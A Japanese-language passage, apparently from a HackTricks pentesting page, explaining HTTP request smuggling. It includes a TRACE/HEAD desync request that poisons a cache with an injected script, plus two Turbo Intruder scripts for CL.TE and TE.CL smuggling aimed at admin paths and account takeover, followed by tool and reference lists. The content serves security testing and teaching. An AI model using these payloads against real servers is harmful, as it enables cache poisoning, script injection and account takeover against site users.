続けてthis post を参照すると、TRACEメソッドを悪用する別の方法が提案されています。前述の通り、HEADリクエストとTRACEリクエストをsmuggleすることで、HEADレスポンス内の一部の反映データを制御することが可能です。HEADリクエストのボディ長は基本的にContent-Lengthヘッダで示され、TRACEリクエストのレスポンスによって構成されます。
したがって、新しいアイデアは、このContent-LengthとTRACEレスポンスで返されるデータを把握していれば、TRACEレスポンスがContent-Lengthの最後のバイト以降に有効なHTTPレスポンスを含むように仕向けることができ、攻撃者は次のレスポンスに対するリクエストを完全に制御できる(これによりcache poisoningを実行できる可能性がある)という点です。
例:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
これらの responses を生成します(HEAD response が Content-Length を持ち、そのため TRACE response が HEAD の body の一部となり、HEAD の Content-Length が終了した時点で有効な HTTP response が smuggled される点に注意してください):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
HTTP Request Smuggling を HTTP Response Desynchronisation で武器化する
HTTP Request Smuggling の脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他の悪用手法を試してください:
HTTP Response Smuggling / Desync
その他の HTTP Request Smuggling テクニック
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
出典 https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
出典: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
ツール
- HTTP Hacker (Burp BApp Store) – 連結/フレーミングや低レベルの HTTP 挙動を可視化する
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: このツールは文法ベースの HTTP Fuzzer で、異常な request smuggling の不一致を見つけるのに有用です。
参考資料
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- 二重の false‑positive に注意:HTTP pipelining と request smuggling の区別方法 – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- ブラウザ駆動の Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks